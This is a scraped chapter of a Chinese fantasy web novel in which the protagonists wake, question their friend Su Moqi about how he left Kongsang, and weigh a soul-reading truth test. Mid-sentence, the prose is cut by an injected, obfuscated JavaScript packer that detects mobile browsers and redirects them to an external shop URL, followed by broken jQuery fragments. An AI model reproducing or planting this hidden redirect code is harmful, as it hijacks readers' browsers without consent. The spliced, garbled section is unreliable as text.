文趣网 > 都市小说 > 山庄见习生 > 73. 苏漠齐怎么会来
    “希言?”林喻看她有了动作,悬在半空的心终于往下落了大半,他忙取来温水,学着方才苏漠齐照顾自己的模样,以细布蘸水,小心翼翼地润湿她干裂起皮的唇瓣。

    温水滑过喉咙,孟希言才好受了些,哑着嗓子轻轻叫了一声,“林喻?”

    “我在,我在这儿。”林喻连忙应着,手心全是冷汗,方才那番折腾几乎耗尽了他所有力气,可此刻看着清醒过来的孟希言,只觉得浑身都松快下来。

    一旁的尘砚长舒一口气,连骨架都随之晃了晃,语气里透着一种如释重负的夸张,“总算是醒了,若再睡下去,我非得请个大师来作法招魂不可。”

    容尚峰眉头微挑,心中暗自嘀咕:林喻?此前不是自称林西么?这三人究竟给自己起了多少个名号。

    待孟希言稍微清醒了些后,才缓缓看向周围,面上立马浮现出和林喻如出一辙的惊愕与无措——这屋里究竟聚了些什么牛鬼蛇神啊!

    尘砚见状,当即拽住容尚峰,边拖边劝,“你且先回避一二,人家姑娘刚醒,你一个外来人杵在此处,成何体统。”

    容尚峰虽然觉得自己这样站在这里,确有不妥,可又担心自己一旦离身,这几人便趁机遁走,届时再想寻人,又不知要费多少周折。

    尘砚一眼看穿了他的顾虑,忙道,“我与你一同出去。”

    说罢又带上幻啼箫,“它也一道。留你那位小大夫在此照看,我们先下楼。”

    见容尚峰面上已有几分意动,他连忙趁热打铁,“我们先下去,让小姑娘收拾妥当,再由小大夫好生诊治,之后我们再上来。你若怕我跑了,大可设法将我重新定住,反正你也不是没定过,你见过的,我动弹不得。”

    容尚峰瞥了眼那副明晃晃的骨架,嘴角微抽,“走吧,你可别以这般模样示人,我可不想被当成变态。”

    “好!”尘砚借幻啼箫之力迅速化为人形,随即一把拉着容尚峰就往隔壁走。

    容尚峰起初并不情愿,本觉得在楼下候着便已足够,奈何尘砚絮叨不止,搬出种种借口,一句接一句吵得他脑仁发疼,终是忍无可忍,只得随他移至隔壁,粗声喝断,“你快闭嘴,再多说一句,我便将你戳在客栈门口!”

    尘砚急忙捂嘴,不敢再发出半点声音,心中却仍腹诽不断。

    屋内,缠魂铃迅速将最近发生的一切简述了一遍,唯独隐去关于“林喻”的那一节真相,只将几人得以脱险归因于尸兵暴动所引发的混乱。

    所幸并无人深究此节,林喻与孟希言的关注点全落在了苏漠齐为何会忽然现身于此。

    林喻一把扣住苏漠齐的后颈,语气里带着明显的不解与逼问,“你是如何至此?此刻你不该在空桑受训修习吗?”

    “嘿嘿,”苏漠齐讨好地缩起脖子,身子直往下溜,想要借机逃开,林喻手下的力道却愈发收紧。

    苏漠齐被捏地直喊,“疼疼疼!你先松开,我和你们慢慢说,先松开,求求了,别捏我了!”

    孟希言轻拍林喻的手背,林喻这才松开。孟希言盯着苏漠齐,语气不容敷衍:“说,究竟怎么来的,所为何事,从实招来!”

    苏漠齐嬉皮笑脸地瞅着他们俩,眉眼间尽是掩饰不住的得意与邀功之色,笑嘻嘻地开口道,“别生气嘛,这回我可是头号大功臣。要不是我及时出手,你俩这会儿八成还并躺在那里,等着尘砚跳大神呢。”

    林喻听着他这般没脸没皮的自夸,拳头便想朝他招呼过去,谁知还未动作,就被孟希言眼疾手快地按了下来。

    孟希言顺了顺林喻的脾气,转头冲苏漠齐道,“行行行,咱们阿齐简直就是天降神兵,救苦救难的活菩萨,咱们的救命大恩人。”

    苏漠齐听得心花怒放,唇角止不住地上扬,整个人都多了几分得意,脑袋一扬,傲娇地甩了甩辫子。

    “不过,”孟希言话锋忽然一转,伸手便去拉那扇屏风。

    林喻见状,立刻会意,不等苏漠齐多瞧一眼,便一把拽着他转向墙壁,硬生生让两人面壁而立。

    苏漠齐虽面朝着墙,却将林喻连耳根都泛起了红晕的模样尽收眼底,不由得压低声音地调侃起来,“不至于吧?人家不过是穿双鞋,你反应这么大,连耳根都红成那样?”

    孟希穿好鞋,站在两人身后,抬手便赏了苏漠齐一记响亮的爆栗,“你也晓得我是换鞋?那还在这儿胡咧咧什么。”

    “嘶——”苏漠齐吃痛,揉着后脑勺倒抽一口凉气,“我也没讲什么啊。你这丫头,分明才刚醒过来,哪来的这么大力气。”

    孟希言半点不饶他,又抬手戳了戳苏漠齐的脑门,“叫姐姐!”

    林喻在一旁看着两人你来我往地闹腾,先前那股说不清道不明的不舒服感又渐渐冒了出来。

    他终于忍不住,一把将苏漠齐从孟希言身旁拉开,而后扶着孟希言坐到自己对面,刻意将两人隔开。

    苏漠齐任由他拉扯,也不恼,只玩笑似地长长叹了一口气,“你们俩啊,简直就是死鸭子嘴硬的最佳代表。”

    说完,他顺势坐下,方才的嬉笑之色慢慢收起,面上的神情也恢复了认真,语气平和地说,“其实我也没什么企图和目的,早前便和你们说过的,我就是无聊,特别无聊。

    你们离开以后,我常常觉着,要是我身边有一抔土能把我埋了,这会儿坟头草怕是都得有半尺来高了。”

    “呸呸呸,”孟希言连忙打断他,眉头紧皱,“胡说八道什么呢,尽说些晦气话!”

    苏漠齐微微一怔,似乎没料到孟希言会这般在意,随即低头浅浅一笑——果然,留在他们身边真好。不,确切地说,是待在孟希言身边,真好。

    见孟希言都这么关心自己了,苏漠齐也不再嬉闹,面上的笑意收得干干净净,目光落在二人脸上,神情难得地认真起来,正色道,“说真的,我确是闲得发慌,平日里连个能说活的人都没有,天天不是对着石板练剑,就是对着草药发呆,再这么待下去,我非得闷出病不可。”

    “思来想去,还是来寻你们更自在,我清楚你们眼下有要务在身,也知道我哥必定私下找过你们,或是托了人情,或是做了约定,就是不想让我跟着你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970548|212151||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    们掺和进来。

    更明白先前的那些事,你们心里对我总归是有几分防备的。

    我不愿叫你们夹在中间难办,所以也不强求入伙,就当是我们路上凑巧遇上,我跟着你们走一段便是。

    我把话提前说在前头,我接下来本来就要往西南走,之后还要去边境和江南,你们要是信不过我,大可不必跟我讲你们接下来的计划,我绝不乱问。

    可我是真心实意,就想跟你们交个朋友。

    我会些武功,耍得一手好剑,也懂些医理,能认得草药配药方。

    我知道,就算没我,你们俩也能把事情办妥,我算不上什么必不可少的人,但多一个人在身边,遇到事的时候,总能多搭把手,多一分底气不是吗?”

    苏漠齐眼神真挚,不见半分戏谑与玩笑之意,这番话他并非头一遭提起,可每每从他口中慎重道出,都让孟希言心潮翻涌,久久难以平复。

    她下意识望向林喻,想从他那里寻一个回应,林喻自然明白她心中所想,晓得她待人向来宽厚真诚,更晓得她对苏漠齐总带着几分旧日情谊。

    可他并未因这几句肺腑之言便轻易软化态度,究竟他们眼下的处境不比寻常,身边带着这群珍奇异灵,所经历的每一桩每一件事情都非比寻常,行事更是如履薄冰,需要步步谨慎,绝不可单凭一时意气与人结交。

    林喻眉头紧锁,思量片刻,终是沉声开口,“方才缠魂铃叙述时,并未避讳于你,前因后果你都听得清清楚楚。若你真视我们为友,可否也坦诚相告?”

    苏漠齐答得干脆利落,不带一丝犹豫,“自然。”

    林喻追问道,“好,那你先说说,你是如何从空桑脱身的?据我所知,苏家子弟一旦入内,无家主手令绝不可能离开。”

    苏漠齐正欲开口,缠魂铃却突然在一旁插话,“且慢。我有一法,可连通双方神魂,借此辨别虚言真伪。你若当真坦荡,可敢一试?”

    孟希言闻言脸色微变,急忙一把拉住林喻,语带急切地阻止,“不可!”

    林喻侧首看向她,神色复杂,他心里是认可缠魂铃的做法的,可又因她的阻拦而微感踟蹰。

    孟希言轻轻摇头,压低着声音说道,“即便审讯囚犯也不该如此相待,更何况他是苏漠齐,我们曾朝夕相处,一同历过事,万万不可这般羞辱人。”

    望着眼前极力维护自己的少女,苏漠齐只觉心头温热,暖意自胸口一圈圈荡开。

    家族长辈平素虽也不乏关怀,却从来没有人这样不问缘由、不计后果地护在他身前,更不曾有人因他的尊严而与人据理力争。

    他想,当初在阳山时之所以会施以援手,多半正是被孟希言这份不加伪饰的善意所打动。

    好羡慕啊。

    想到此处,他忽然低声轻笑出来。

    林喻侧目,“笑什么?”

    苏漠齐摇了摇头,明明是对着林喻和缠魂铃说的话,温柔的目光却稳稳落在孟希言身上,“我同意,你只管来探查我的神魂,既然我是真心想与你们结交,便不怕这样的试探。”